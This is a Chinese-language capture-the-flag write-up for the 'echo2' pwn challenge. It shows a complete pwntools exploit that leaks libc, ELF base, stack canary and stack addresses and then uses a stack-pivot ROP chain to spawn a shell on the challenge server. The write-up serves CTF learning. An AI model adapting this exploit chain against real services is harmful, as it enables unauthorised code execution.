oin

writeup


2022-11-12

[TOC]

🌓echo2

🌙分析

checksec检查发现保护全开了 程序主要逻辑为只要不输入"--\x00"就可以一直进行输入,并且这个输入可以造成溢出,但是溢出只能覆盖到函数返回地址,所以很明显使用one_gadget或者栈迁移来获取shell,我这里使用栈迁移技巧来获取shell 首先我们需要知道几个关键数据

  • elf加载基地址
  • libc加载基地址
  • canary值
  • stack地址

我们可以利用puts(buf)来泄露栈中相关数据,因为程序并没有清除栈中垃圾数据 泄露顺序为libc地址->elf地址->canary值->stack地址

# leak libc
o.recvuntil('Input:')
payload = 'a'*7
o.sendline(payload)
o.recvuntil('a'*7+'\n')
stdout = u64(o.recv(6)+'\x00\x00')
log.info('stdout: '+hex(stdout))
# leak elf
o.recvuntil('Input:')
payload = 'a'*7*8 + 'a'*7
o.sendline(payload)
o.recvuntil('a'*7*8 + 'a'*7+'\n')
elf_addr = u64(o.recv(6)+'\x00\x00')
log.info('elf: '+hex(elf_addr))
# leak canary & stack
o.recvuntil('Input:')
payload = 'a'*13*8
o.sendline(payload)
o.recvuntil('a'*13*8+'\n')
canary = u64('\x00'+o.recv(7))
log.info('canary: '+hex(canary))
stack = u64(o.recv(6).ljust(8,'\x00'))
log.info('stack: '+hex(stack))

有了stdout的地址就可以泄露libc基地址

libc_base = stdout - libc.symbols['_IO_2_1_stdout_']

有了__libc_csu_init地址就可以计算elf加载地址

elf_base = elf_addr - 0x12F0

有了stack地址就可以计算出buf地址

buf = stack - 144

最后就是实现栈迁移getshell

🌙Exploit

from pwn import*
# context.log_level='debug'

o = remote('chal.hkcert22.pwnable.hk', 28045)
#o = process('./chall/src/chall')
libc = ELF('./libc-2.31.so')

# leak libc
o.recvuntil('Input:')
payload = 'a'*7
o.sendline(payload)
o.recvuntil('a'*7+'\n')
stdout = u64(o.recv(6)+'\x00\x00')
log.info('stdout: '+hex(stdout))
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
log.info('libc_base: '+hex(libc_base))

# leak elf
o.recvuntil('Input:')
payload = 'a'*7*8 + 'a'*7
o.sendline(payload)
o.recvuntil('a'*7*8 + 'a'*7+'\n')
elf_addr = u64(o.recv(6)+'\x00\x00')
log.info('elf: '+hex(elf_addr))
elf_base = elf_addr - 0x12F0

# leak canary & stack
o.recvuntil('Input:')
payload = 'a'*13*8
o.sendline(payload)
o.recvuntil('a'*13*8+'\n')
canary = u64('\x00'+o.recv(7))
log.info('canary: '+hex(canary))
stack = u64(o.recv(6).ljust(8,'\x00'))
log.info('stack: '+hex(stack))
buf = stack - 144

# rop
o.recvuntil('Input:')
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
leave_ret = elf_base + 0x12E3
pop_rdi = elf_base + 0x1353
ret = elf_base + 0x12B6
payload = '--\x00\x00\x00\x00\x00\x00' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(sys_addr)
payload = payload.ljust(13*8, 'a')
payload += p64(canary)
payload += p64(buf)
payload += p64(leave_ret)
o.sendline(payload)

o.interactive()

🌙附件

https://flowus.cn/c3n1g/share/d5c64984-67dc-4560-acb4-86d6690264a1 【FlowUs 息流】echo2.zip

页面列表

ITEM_HTML